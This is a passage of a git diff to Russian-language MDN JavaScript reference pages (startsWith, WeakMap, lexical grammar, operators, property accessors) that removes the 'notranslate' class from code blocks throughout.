Web/JavaScript/Reference/Global_Objects/String/startsWith <h3 id="Example_Using_startsWith">Пример: использование метода <code>startsWith()</code></h3> -<pre class="brush: js notranslate">var str = 'Быть или не быть, вот в чём вопрос.'; +<pre class="brush: js">var str = 'Быть или не быть, вот в чём вопрос.'; console.log(str.startsWith('Быть')); // true console.log(str.startsWith('не быть')); // false @@ -48,7 +48,7 @@ console.log(str.startsWith('не быть', 9)); // true <p>Этот метод был добавлен к спецификации ECMAScript 6 и может быть доступен ещё не во всех реализациях JavaScript. Однако, вы можете легко эмулировать этот метод при помощи следующего кода:</p> -<pre class="brush: js notranslate">if (!String.prototype.startsWith) { +<pre class="brush: js">if (!String.prototype.startsWith) { Object.defineProperty(String.prototype, 'startsWith', { enumerable: false, configurable: false, diff --git a/files/ru/web/javascript/reference/global_objects/weakmap/index.html b/files/ru/web/javascript/reference/global_objects/weakmap/index.html index 9b1f77b853..2ce67df673 100644 --- a/files/ru/web/javascript/reference/global_objects/weakmap/index.html +++ b/files/ru/web/javascript/reference/global_objects/weakmap/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code>new WeakMap([iterable]) +<pre class="syntaxbox"><code>new WeakMap([iterable]) </code></pre> <h3 id="Parameters">Параметры</h3> @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap <h3 id="Использование_объекта_WeakMap">Использование объекта <code>WeakMap</code></h3> -<pre class="brush: js notranslate">const wm1 = new WeakMap(), +<pre class="brush: js">const wm1 = new WeakMap(), wm2 = new WeakMap(), wm3 = new WeakMap(); const o1 = {}, @@ -92,7 +92,7 @@ wm1.has(o1); // false <h3 id="Пример_Реализация_класса_WeakMap-like_классов_с_методом_.clear">Пример: Реализация класса WeakMap-like классов с методом .clear()</h3> -<pre class="brush: js notranslate">class ClearableWeakMap { +<pre class="brush: js">class ClearableWeakMap { constructor(init) { this._wm = new WeakMap(init) } diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html index 64a70d311e..f70c017e14 100644 --- a/files/ru/web/javascript/reference/lexical_grammar/index.html +++ b/files/ru/web/javascript/reference/lexical_grammar/index.html @@ -166,7 +166,7 @@ ECMAScript также определяет ключевые слова и лит <p>Первый способ <code>//</code> комментарий; в этом случае весь текст в строке после двойного слеша будет комментарием, например:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { // Это комментарий в строке console.log("Hello world!"); } @@ -177,7 +177,7 @@ comment(); <p>Например, вы можете использовать его в одной строке:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { /* Это однострочный комментарий */ console.log("Hello world!"); } @@ -185,7 +185,7 @@ comment();</pre> <p>Либо вы можете сделать многострочный комментарий, как показано здесь:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { /* Этот комментарий располагается на нескольких линиях. Обратите внимание, что вам не нужно обрывать комментарий, пока вы его не закончите*/ console.log("Hello world!"); @@ -194,14 +194,14 @@ comment(); </pre> <p>Также, если пожелаете, то вы можете использовать такое комментирование посреди строки кода. Хотя это может ухудшить читабельность кода:</p> -<pre class="brush: js notranslate">function comment(x) { +<pre class="brush: js">function comment(x) { console.log("Hello " + x /* вставьте значение x */ + " !"); } comment("world");</pre> <p>Чтобы отключить выполнение кода, просто оберните код в комментарий, как здесь:</p> -<pre class="brush: js notranslate">function comment() { +<pre class="brush: js">function comment() { /* console.log("Hello world!"); */ } comment();</pre> @@ -216,7 +216,7 @@ comment();</pre> <p>Шебанг комментарий определяет путь к JavaScript интерпретатору, скрипт которого вы хотите выполнить. Пример, как это работает:</p> -<pre class="brush: js notranslate">#!/usr/bin/env node +<pre class="brush: js">#!/usr/bin/env node console.log("Hello world"); </pre> @@ -329,14 +329,14 @@ console.log("Hello world"); <p>Зарезервированные слова действительно применяются только к идентификаторам<strong> (vs. IdentifierNames)</strong>. Как описано в <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a>, это все имена IdentifierNames, которые не исключают зарезервированных слов.</p> -<pre class="brush: js notranslate">a.import +<pre class="brush: js">a.import a["import"] a = { import: "test" }. </pre> <p>С другой стороны, следующее выражение неправильно, т.к. Идентификатор <code>IdentifierName</code> не содержит зарезервированных слов. Идентификаторы используются для <code>FunctionDeclaration, FunctionExpression, VariableDeclaration</code> и т.п., в то время, как <code>IdentifierNames</code> используются для <code> MemberExpression, CallExpression</code> и т.п.</p> -<pre class="brush: js notranslate">function import() {} // неправильно.</pre> +<pre class="brush: js">function import() {} // неправильно.</pre> <h2 id="Литералы">Литералы</h2> @@ -344,20 +344,20 @@ a = { import: "test" }. <p>Подробнее о <code>{{jsxref('Global_Objects/null','null')}}null</code>.</p> -<pre class="brush: js notranslate">null</pre> +<pre class="brush: js">null</pre> <h3 id="Литерал_Boolean">Литерал Boolean</h3> <p>Подробнее о <code>{{jsxref('Global_Objects/Boolean','Boolean')}}</code>.</p> -<pre class="brush: js notranslate">true +<pre class="brush: js">true false</pre> <h3 id="Литералы_чисел">Литералы чисел</h3> <h4 id="Decimal_десятичные_числа">Decimal (десятичные числа)</h4> -<pre class="brush: js notranslate">1234567890 +<pre class="brush: js">1234567890 42 // Будьте осторожны с использованием нуля вначале числа: @@ -372,7 +372,7 @@ false</pre> <p>Синтаксис двоичных чисел состоит из цифры ноль, за которой следует маленькая или большая латинская буква "B" (0b или 0B). Этот синтаксис новый и появился только в ECMAScript 2015, пожалуйста посмотрите таблицу совместимости с браузерами. Это может производить ошибку <code>{{jsxref('Global_Objects/SyntaxError','SyntaxError')}}</code>: "Missing binary digits after 0b", Если цифры не 0 или 1.</p> -<pre class="brush: js notranslate">var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648 +<pre class="brush: js">var FLT_SIGNBIT = 0b10000000000000000000000000000000; // 2147483648 var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040 var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre> @@ -380,7 +380,7 @@ var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre> <p>Восьмеричный числовой синтаксис, который использует 0 с последующей, в нижнем или верхнем регистре, латинскую букву "О" (<code>0o</code> или <code>0O)</code>. Этот синтаксис появился в ECMAScript 2015, пожалуйста, посмотрите таблицу совместимости с браузерами. Это может производить ошибку <code>SyntaxError</code>: "Missing octal digits after 0o", если цифры не между 0 и 7.</p> -<pre class="brush: js notranslate">var n = 0O755; // 493 +<pre class="brush: js">var n = 0O755; // 493 var m = 0o644; // 420 // Так же возможно с лидирующими нулями (см. заметку о десятичных дробях выше) @@ -392,7 +392,7 @@ var m = 0o644; // 420 <p>Шестнадцатеричный числовой синтаксис, который использует 0 с последующей, в нижнем или верхнем регистре, латинскую букву "X" (<code>0x</code> или <code>0X)</code>. Если числа после 0x вне диапазона (0123456789ABCDEF), то может последовать за этим {{jsxref("SyntaxError")}}: "Identifier starts immediately after numeric literal".</p> -<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000 +<pre class="brush: js">0xFFFFFFFFFFFFFFFFF // 295147905179352830000 0x123456789ABCDEF // 81985529216486900 0XA // 10 </pre> @@ -401,7 +401,7 @@ var m = 0o644; // 420 <p>Смотрите также {{jsxref("Object")}} и {{jsxref('Operators/Object_initializer','Object initializer')}} для получения более подробной информации.</p> -<pre class="brush: js notranslate">var o = { a: "foo", b: "bar", c: 42 }; +<pre class="brush: js">var o = { a: "foo", b: "bar", c: 42 }; // сокращённая нотация. Появилась в ES2015 var a = "foo", b = "bar", c = 42; @@ -414,23 +414,23 @@ var o = { a: a, b: b, c: c }; <p>Смотрите также {{jsxref("Array")}} для получения более подробной информации.</p> -<pre class="brush: js notranslate">[1954, 1974, 1990, 2014]</pre> +<pre class="brush: js">[1954, 1974, 1990, 2014]</pre> <h3 id="Литерал_String_Строка">Литерал String (Строка)</h3> -<pre class="brush: js notranslate">'foo' +<pre class="brush: js">'foo' "bar"</pre> <h4 id="Экранирование_шестнадцатеричной_последовательности">Экранирование шестнадцатеричной последовательности</h4> -<pre class="brush: js notranslate">'\xA9' // "©" +<pre class="brush: js">'\xA9' // "©" </pre> <h4 id="Экранирование_Юникод_символов">Экранирование Юникод символов</h4> <p>Для экранирования Юникод символов обязательно нужно указать по крайней мере 4 символа после \u.</p> -<pre class="brush: js notranslate">'\u00A9' // "©"</pre> +<pre class="brush: js">'\u00A9' // "©"</pre> <h4 id="Unicode_code_point_escapes">Unicode code point escapes</h4> @@ -438,7 +438,7 @@ var o = { a: a, b: b, c: c }; <p>See also {{jsxref("String.fromCodePoint()")}} or {{jsxref("String.prototype.codePointAt()")}}.</p> -<pre class="brush: js notranslate">'\u{2F804}' +<pre class="brush: js">'\u{2F804}' // the same with simple Unicode escapes '\uD87E\uDC04'</pre> @@ -447,7 +447,7 @@ var o = { a: a, b: b, c: c }; <p>Смотрите также <code>{{jsxref('Global_Objects/RegExp','RegExp')}}</code> для получения более подробной информации.</p> -<pre class="brush: js notranslate">/ab+c/g +<pre class="brush: js">/ab+c/g // An "empty" regular expression literal // The empty non-capturing group is necessary @@ -458,7 +458,7 @@ var o = { a: a, b: b, c: c }; <p>Смотрите также {{jsxref('template_strings','template strings')}} для получения более подробной информации.</p> -<pre class="brush: js notranslate">`string text` +<pre class="brush: js">`string text` `string text line 1 string text line 2` @@ -485,7 +485,7 @@ tag `string text ${expression} string text`</pre> <p>1. Точка с запятой ставится до, когда ограничитель строки или "}" is encountered that is not allowed by the grammar.</p> -<pre class="brush: js notranslate">{ 1 2 } 3 +<pre class="brush: js">{ 1 2 } 3 // согласно ASI, будет преобразовано в @@ -495,7 +495,7 @@ tag `string text ${expression} string text`</pre> <p>Here <code>++</code> is not treated as a {{jsxref('Operators/Arithmetic_Operators','postfix operator','Increment')}} applying to variable <code>b</code>, because a line terminator occurs between <code>b</code> and <code>++</code>.</p> -<pre class="brush: js notranslate">a = b +<pre class="brush: js">a = b ++c // согласно ASI, будет преобразовано в @@ -515,7 +515,7 @@ a = b; <li><code>module</code></li> </ul> -<pre class="brush: js notranslate">return +<pre class="brush: js">return a + b // согласно ASI, будет преобразовано в diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html index 944ef3d8a7..c9b2961231 100644 --- a/files/ru/web/javascript/reference/operators/addition/index.html +++ b/files/ru/web/javascript/reference/operators/addition/index.html @@ -18,14 +18,14 @@ translation_of: Web/JavaScript/Reference/Operators/Addition <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Оператор:</strong> <var>x</var> + <var>y</var> +<pre class="syntaxbox"><strong>Оператор:</strong> <var>x</var> + <var>y</var> </pre> <h2 id="Примеры">Примеры</h2> <h3 id="Сложение_чисел">Сложение чисел</h3> -<pre class="brush: js notranslate">// Number + Number -> addition +<pre class="brush: js">// Number + Number -> addition 1 + 2 // 3 // Boolean + Number -> addition @@ -37,7 +37,7 @@ false + false // 0 <h3 id="Сложение_строк">Сложение строк</h3> -<pre class="brush: js notranslate">// String + String -> concatenation +<pre class="brush: js">// String + String -> concatenation 'foo' + 'bar' // "foobar" // Number + String -> concatenation diff --git a/files/ru/web/javascript/reference/operators/addition_assignment/index.html b/files/ru/web/javascript/reference/operators/addition_assignment/index.html index e7124ec00f..99c5b74dc5 100644 --- a/files/ru/web/javascript/reference/operators/addition_assignment/index.html +++ b/files/ru/web/javascript/reference/operators/addition_assignment/index.html @@ -18,14 +18,14 @@ translation_of: Web/JavaScript/Reference/Operators/Addition_assignment <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Оператор:</strong> x += y +<pre class="syntaxbox"><strong>Оператор:</strong> x += y <strong>Значение:</strong> x = x + y</pre> <h2 id="Примеры">Примеры</h2> <h3 id="Использование_сложения_с_присваиванием">Использование сложения с присваиванием</h3> -<pre class="brush: js notranslate">// Assuming the following variables +<pre class="brush: js">// Assuming the following variables // foo = 'foo' // bar = 5 // baz = true diff --git a/files/ru/web/javascript/reference/operators/assignment/index.html b/files/ru/web/javascript/reference/operators/assignment/index.html index 795c61c381..70aacd182a 100644 --- a/files/ru/web/javascript/reference/operators/assignment/index.html +++ b/files/ru/web/javascript/reference/operators/assignment/index.html @@ -26,14 +26,14 @@ original_slug: Web/JavaScript/Reference/Operators/Присваивание <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Оператор:</strong> x = y +<pre class="syntaxbox"><strong>Оператор:</strong> x = y </pre> <h2 id="Примеры">Примеры</h2> <h3 id="Простое_и_цепное_присваивание">Простое и цепное присваивание</h3> -<pre class="brush: js notranslate">// Предположим следующие переменные и их значения +<pre class="brush: js">// Предположим следующие переменные и их значения // x = 5 // y = 10 // z = 25 diff --git a/files/ru/web/javascript/reference/operators/bitwise_and/index.html b/files/ru/web/javascript/reference/operators/bitwise_and/index.html index bdb11d9d4b..745ad33be8 100644 --- a/files/ru/web/javascript/reference/operators/bitwise_and/index.html +++ b/files/ru/web/javascript/reference/operators/bitwise_and/index.html @@ -18,14 +18,14 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><var>a</var> & <var>b</var></code> +<pre class="syntaxbox"><code><var>a</var> & <var>b</var></code> </pre> <h2 id="Описание">Описание</h2> <p>Операнды преобразуются в 32-битные целые числа и выражаются серией битов (нулей and единиц). Числа с более чем 32 битами отбрасывают старшие разряды. Например, следующее целое число с более чем 32 битами будет преобразовано в 32-битное целое:</p> -<pre class="brush: js notranslate">До: 11100110111110100000000000000110000000000001 +<pre class="brush: js">До: 11100110111110100000000000000110000000000001 После: 10100000000000000110000000000001</pre> <p>Каждый бит в первом операнде связан с соответствующим битом во втором операнде:<em>первый бит - с первым</em>,<em>второй- со вторым</em>, и т.д.</p> @@ -66,7 +66,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND </tbody> </table> -<pre class="brush: js notranslate">. 9 (base 10) = 00000000000000000000000000001001 (base 2) +<pre class="brush: js">. 9 (base 10) = 00000000000000000000000000001001 (base 2) 14 (base 10) = 00000000000000000000000000001110 (base 2) -------------------------------- 14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) @@ -78,7 +78,7 @@ translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND <h3 id="Использование_побитового_И">Использование побитового И</h3> -<pre class="brush: js notranslate">// 5: 00000000000000000000000000000101 +<pre class="brush: js">// 5: 00000000000000000000000000000101 // 2: 00000000000000000000000000000010 5 & 2; // 0</pre> diff --git a/files/ru/web/javascript/reference/operators/class/index.html b/files/ru/web/javascript/reference/operators/class/index.html index c7efce0be6..4fa06e092f 100644 --- a/files/ru/web/javascript/reference/operators/class/index.html +++ b/files/ru/web/javascript/reference/operators/class/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Operators/class <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var MyClass = class <em>[className]</em> [extends] { +<pre class="syntaxbox">var MyClass = class <em>[className]</em> [extends] { // тело класса };</pre> @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Operators/class <p>Так же, как и при использовании class declaration, тело класса у class expression будет исполняться в {{jsxref("Strict_mode", "строгом режиме", "", 1)}}.</p> -<pre class="brush: js notranslate">'use strict'; +<pre class="brush: js">'use strict'; var Foo = class {}; // свойство конструктора опционально var Foo = class {}; // повторное объявление разрешено @@ -39,7 +39,7 @@ class Foo {}; // Throws TypeError, doesn't allow re-declaration <p>Простой анонимный class expression, на который можно сослаться с помощью переменной "Foo".</p> -<pre class="brush: js notranslate">var Foo = class { +<pre class="brush: js">var Foo = class { constructor() {} bar() { return "Hello World!"; @@ -55,7 +55,7 @@ Foo.name; // "Foo" <p>Если вы хотите сослаться на конкретный класс внутри тела класса, вы можете создать именованный class expression. Это имя будет доступно только внутри области видимости самого class expression.</p> -<pre class="brush: js notranslate">var Foo = class NamedFoo { +<pre class="brush: js">var Foo = class NamedFoo { constructor() {} whoIsThere() { return NamedFoo.name; diff --git a/files/ru/web/javascript/reference/operators/conditional_operator/index.html b/files/ru/web/javascript/reference/operators/conditional_operator/index.html index a95e4faac7..259cd5122e 100644 --- a/files/ru/web/javascript/reference/operators/conditional_operator/index.html +++ b/files/ru/web/javascript/reference/operators/conditional_operator/index.html @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>условие</em> ? <em>выражение1</em> : <em>выражение2 </em></pre> +<pre class="syntaxbox"><em>условие</em> ? <em>выражение1</em> : <em>выражение2 </em></pre> <h3 id="Параметры">Параметры</h3> @@ -31,16 +31,16 @@ original_slug: Web/JavaScript/Reference/Operators/Условный_операт <p>Оператор возвращает значение <code>выражения1</code>, если <code>условие</code> верно, и значение <code>выражения2</code> в противном случае. Например, чтобы вывести сообщение, текст которого зависит от значения переменной <code>isMember</code>, можно использовать такое выражение:</p> -<pre class="brush: js notranslate">"The fee is " + (isMember ? "$2.00" : "$10.00") +<pre class="brush: js">"The fee is " + (isMember ? "$2.00" : "$10.00") </pre> <p>Также можно присваивать значения переменным на основе результатов работы тернарного оператора :</p> -<pre class="brush: js notranslate">var elvisLives = Math.PI > 4 ? "Да" : "Нет";</pre> +<pre class="brush: js">var elvisLives = Math.PI > 4 ? "Да" : "Нет";</pre> <p>Возможны множественные тернарные операции (обратите внимание: условный оператор ассоциативен справа):</p> -<pre class="brush: js notranslate">var firstCheck = false, +<pre class="brush: js">var firstCheck = false, secondCheck = false, access = firstCheck ? "Доступ запрещён" : secondCheck ? "Доступ запрещён" : "Доступ разрешён"; @@ -48,14 +48,14 @@ console.log( access ); // выводит в консоль "Доступ раз <p>Тернарные операции можно использовать и сами по себе - для выполнения различных операций:</p> -<pre class="brush: js notranslate">var stop = false, age = 16; +<pre class="brush: js">var stop = false, age = 16; age > 18 ? location.assign("continue.html") : stop = true; </pre> <p>Также возможно выполнять несколько операций на каждое сравнение, разделив их запятыми:</p> -<pre class="brush: js notranslate">var stop = false, age = 23; +<pre class="brush: js">var stop = false, age = 23; age > 18 ? ( alert("Хорошо, вы можете продолжить."), @@ -68,7 +68,7 @@ age > 18 ? ( <p>При присвоении значения также возможно выполнение более одной операции. В этом случае переменной <strong>будет присвоено то значение, </strong><em><strong>которое стоит последним в списке значений, разделённых запятой</strong></em>.</p> -<pre class="brush: js notranslate">var age = 16; +<pre class="brush: js">var age = 16; var url = age > 18 ? ( alert("Хорошо, вы можете продолжить."), diff --git a/files/ru/web/javascript/reference/operators/decrement/index.html b/files/ru/web/javascript/reference/operators/decrement/index.html index 722d4a5889..64d29374a3 100644 --- a/files/ru/web/javascript/reference/operators/decrement/index.html +++ b/files/ru/web/javascript/reference/operators/decrement/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Operators/Decrement <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>x</var>-- or --<var>x</var> +<pre class="syntaxbox"><strong>Operator:</strong> <var>x</var>-- or --<var>x</var> </pre> <h2 id="Описание">Описание</h2> @@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Operators/Decrement <h3 id="Постфиксный_декремент">Постфиксный декремент</h3> -<pre class="brush: js notranslate">let x = 3; +<pre class="brush: js">let x = 3; y = x--; // y = 3 @@ -40,7 +40,7 @@ y = x--; <h3 id="Префиксный_декремент">Префиксный декремент</h3> -<pre class="brush: js notranslate">let a = 2; +<pre class="brush: js">let a = 2; b = --a; // a = 1 diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html index f31321b93a..a6bfca160a 100644 --- a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html +++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>leftExpr</var> ?? <var>rightExpr</var> +<pre class="syntaxbox"><var>leftExpr</var> ?? <var>rightExpr</var> </pre> <h2 id="Примеры">Примеры</h2> @@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator <p>В этом примере показано как устанавливать значения по умолчанию, оставив в покое значения отличные от <code>null</code> или <code>undefined</code>.</p> -<pre class="brush: js notranslate">const nullValue = null; +<pre class="brush: js">const nullValue = null; const emptyText = ""; // falsy const someNumber = 42; @@ -41,14 +41,14 @@ console.log(valC); // 42</pre> <p>Ранее, для присваивания значения по умолчанию переменной использовался оператор логического ИЛИ (<code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR_2">||</a></code>):</p> -<pre class="brush: js notranslate">let foo; +<pre class="brush: js">let foo; // переменной foo никогда не присваивалось значение, поэтому она undefined let someDummyText = foo || 'Hello!';</pre> <p>Однако, оператор <code>||</code> это логический оператор, левый операнд которого при сравнении неявно приводится к булевому значению, поэтому любое <em>ложное</em> значение (<code>0</code>, <code>''</code>, <code>NaN</code>, <code>null</code>, <code>undefined</code>) не возвращается. Данное поведение может быть нежелательным если вы рассматриваете <code>0</code>, <code>''</code>, или <code>NaN</code> как корректные значения.</p> -<pre class="brush: js notranslate">let count = 0; +<pre class="brush: js">let count = 0; let text = ""; let qty = count || 42; @@ -59,7 +59,7 @@ console.log(message); // "hi!" and not "" <p>Оператор нулевого слияния предотвращает попадание в такую ловушку, возвращая второй операнд если первый оказывается <code>null</code> or <code>undefined</code> (но не любым другим <em>ложным</em> значением):</p> -<pre class="brush: js notranslate">let myText = ''; // Пустая строка (тоже является ложным значением при приведении к логическому типу) +<pre class="brush: js">let myText = ''; // Пустая строка (тоже является ложным значением при приведении к логическому типу) let notFalsyText = myText || 'Hello world'; console.log(notFalsyText); // Hello world @@ -72,7 +72,7 @@ console.log(preservingFalsy); // '' (так как myText не undefined и не <p>Так же как при использовании логического И и ИЛИ, правое выражение не вычисляется если найдено подходящее значение в левом.</p> -<pre class="brush: js notranslate">function A() { console.log('A was called'); return undefined;} +<pre class="brush: js">function A() { console.log('A was called'); return undefined;} function B() { console.log('B was called'); return false;} function C() { console.log('C was called'); return "foo";} @@ -90,19 +90,19 @@ console.log( B() ?? C() ); <p>Нельзя напрямую объединять И (<code>&&</code>) и ИЛИ (<code>||</code>) операторы с <code>??</code>. При таком выражении будет выброшен <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code>.</p> -<pre class="brush: js example-bad notranslate">null || undefined ?? "foo"; // выбрасывает SyntaxError +<pre class="brush: js example-bad">null || undefined ?? "foo"; // выбрасывает SyntaxError true || undefined ?? "foo"; // выбрасывает SyntaxError</pre> <p>Однако, при заключении в скобки выражение является корректным:</p> -<pre class="brush: js example-good notranslate">(null || undefined) ?? "foo"; // returns "foo" +<pre class="brush: js example-good">(null || undefined) ?? "foo"; // returns "foo" </pre> <h3 id="Отношение_к_оператору_опциональной_последовательности_.">Отношение к оператору опциональной последовательности (<code>?.</code>)</h3> <p>Оператор нулевого слияния определяет <code>undefined</code> и <code>null</code> как специальные значения так же как и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Optional_chaining">оператор опциональной последовательности (<code>?.</code>)</a>, который используется для доступа к свойствам объекта, значение которого может быть <code>null</code> или <code>undefined</code>.</p> -<pre class="brush: js notranslate">let foo = { someFooProp: "hi" }; +<pre class="brush: js">let foo = { someFooProp: "hi" }; console.log(foo.someFooProp?.toUpperCase()); // "HI" console.log(foo.someBarProp?.toUpperCase()); // undefined diff --git a/files/ru/web/javascript/reference/operators/operator_precedence/index.html b/files/ru/web/javascript/reference/operators/operator_precedence/index.html index 81ac025747..2de7b65912 100644 --- a/files/ru/web/javascript/reference/operators/operator_precedence/index.html +++ b/files/ru/web/javascript/reference/operators/operator_precedence/index.html @@ -20,19 +20,19 @@ translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence <p>Ассоциативность определяет порядок, в котором обрабатываются операторы с одинаковым приоритетом. Например, рассмотрим выражение:</p> -<pre class="syntaxbox notranslate">a OP b OP c +<pre class="syntaxbox">a OP b OP c </pre> <p>Левая ассоциативность (слева направо) означает, что оно обрабатывается как <code>(a OP b) OP c</code>, в то время как правая ассоциативность (справа налево) означает, что они интерпретируются как <code>a OP (b OP c)</code>. Операторы присваивания являются право-ассоциативными, так что вы можете написать:</p> -<pre class="brush: js notranslate">a = b = 5; +<pre class="brush: js">a = b = 5; </pre> <p>с ожидаемым результатом, что <code>a</code> и <code>b</code> будут равны 5. Это происходит, потому что оператор присваивания возвращает тот результат, который присваивает. Сначала <code>b</code> становится равным 5, затем <code>a</code> принимает значение <code>b</code>.</p> <h2 id="Примеры">Примеры</h2> -<pre class="brush: js notranslate"><code>3 > 2 && 2 > 1 +<pre class="brush: js"><code>3 > 2 && 2 > 1 // вернёт true 3 > 2 > 1 diff --git a/files/ru/web/javascript/reference/operators/property_accessors/index.html b/files/ru/web/javascript/reference/operators/property_accessors/index.html index 938833a348..005cef9b49 100644 --- a/files/ru/web/javascript/reference/operators/property_accessors/index.html +++ b/files/ru/web/javascript/reference/operators/property_accessors/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Operators/Property_Accessors <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">object.property +<pre class="syntaxbox">object.property object["property"] </pre> @@ -27,12 +27,12 @@ object["property"] <p class="brush: js">В записи <code>object.property</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">property</span></font> должно быть действительным <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Identifier">идентификатором</a>. (В стандарте ECMAScript, имена свойств технически называются "IdentifierNames", а не "Identifiers", поэтому зарезервированные слова могут быть использованы в их качестве, но это не рекомендуется). Например, <code>object.$1</code> является верной записью, а <code>object.1</code> - нет.</p> -<pre class="brush: js notranslate">const variable = <var>object</var>.<var>property_name;</var> +<pre class="brush: js">const variable = <var>object</var>.<var>property_name;</var> <var>object</var>.<var>property_name</var> = value; </pre> -<pre class="brush: js notranslate">const object = {}; +<pre class="brush: js">const object = {}; object.$1 = 'foo'; console.log(object.$1); // 'foo' @@ -42,11 +42,11 @@ console.log(object.1); // SyntaxError</pre> <p>Здесь метод с именем <code>createElement</code> считывается с объекта <code>document</code> и вызывается.</p> -<pre class="brush: js notranslate">document.createElement('pre')</pre> +<pre class="brush: js">document.createElement('pre')</pre> <p>Если вы хотите вызвать метод на численном литерале, не имеющий части с экспонентой или точки, отделяющей дробную часть, нужно ставить пробел перед точкой, являющейся частью обращения к этому методу, чтобы интерпретатор не посчитал, что это точка отделяет дробную часть числа (или использовать другие способы этого избежать).</p> -<pre class="brush: js notranslate">// SyntaxError, здесь считается, что 77. это число, +<pre class="brush: js">// SyntaxError, здесь считается, что 77. это число, // поэтому такая запись эквивалентна (77.)toExponentional() // что является ошибкой 77.toExponentional() @@ -65,29 +65,29 @@ console.log(object.1); // SyntaxError</pre> <p class="brush: js">В записи <code>object[property_name]</code>, <em><code>property_name</code> - </em>это выражение, вычисляющееся в строку или <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Symbol">символ</a>. Это может быть любая строка, не обязательно действительный идентификатор, например <code>'1foo'</code>, '<code>!bar!'</code> или даже <code>' '</code> (пробел).</p> -<pre class="brush: js notranslate">const variable = object[property_name] +<pre class="brush: js">const variable = object[property_name] object[property_name] = value</pre> <p>Пример, аналогичный примеру в предыдущем пункте:</p> -<pre class="brush: js notranslate">document['createElement']('pre'); +<pre class="brush: js">document['createElement']('pre'); </pre> <p>Пробел перед скобкой допускается:</p> -<pre class="brush: js notranslate">document ['createElement']('pre')</pre> +<pre class="brush: js">document ['createElement']('pre')</pre> <h3 id="Имена_свойств">Имена свойств</h3> <p>Имена свойств могут быть строками или <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Symbol">символами</a>. Любое другое значение приводится к строке. Следующий код выводит <code>'value'</code>, поскольку число <code>1</code> приводится к строке <code>'1'</code>.</p> -<pre class="brush: js notranslate">const object = {} +<pre class="brush: js">const object = {} object['1'] = 'value' console.log(object[1])</pre> <p>Этот пример также выводит <code>'value',</code> так как и <code>foo</code>, и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">bar</span></font> приводятся к одной и той же строке.</p> -<pre class="brush: js notranslate">const foo = {unique_prop: 1} +<pre class="brush: js">const foo = {unique_prop: 1} const bar = {unique_prop: 2} const object = {} @@ -109,12 +109,12 @@ console.log(object[bar]); <p>Например, следующий синтаксис можно часто увидеть в скриптах.</p> -<pre class="brush: js notranslate">x = eval('document.forms.form_name.elements.' + strFormControl + '.value'); +<pre class="brush: js">x = eval('document.forms.form_name.elements.' + strFormControl + '.value'); </pre> <p>Функция <code>eval()</code> очень медленная и её использования следует избегать, когда это возможно. Кроме того, строка <code>strFormControl</code> при таком использовании обязаны содержать действительный идентификатор, что не является обязательным для <code>id</code> полей формы, то есть, например, поле с id <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">1</span></font> не получится получить такой 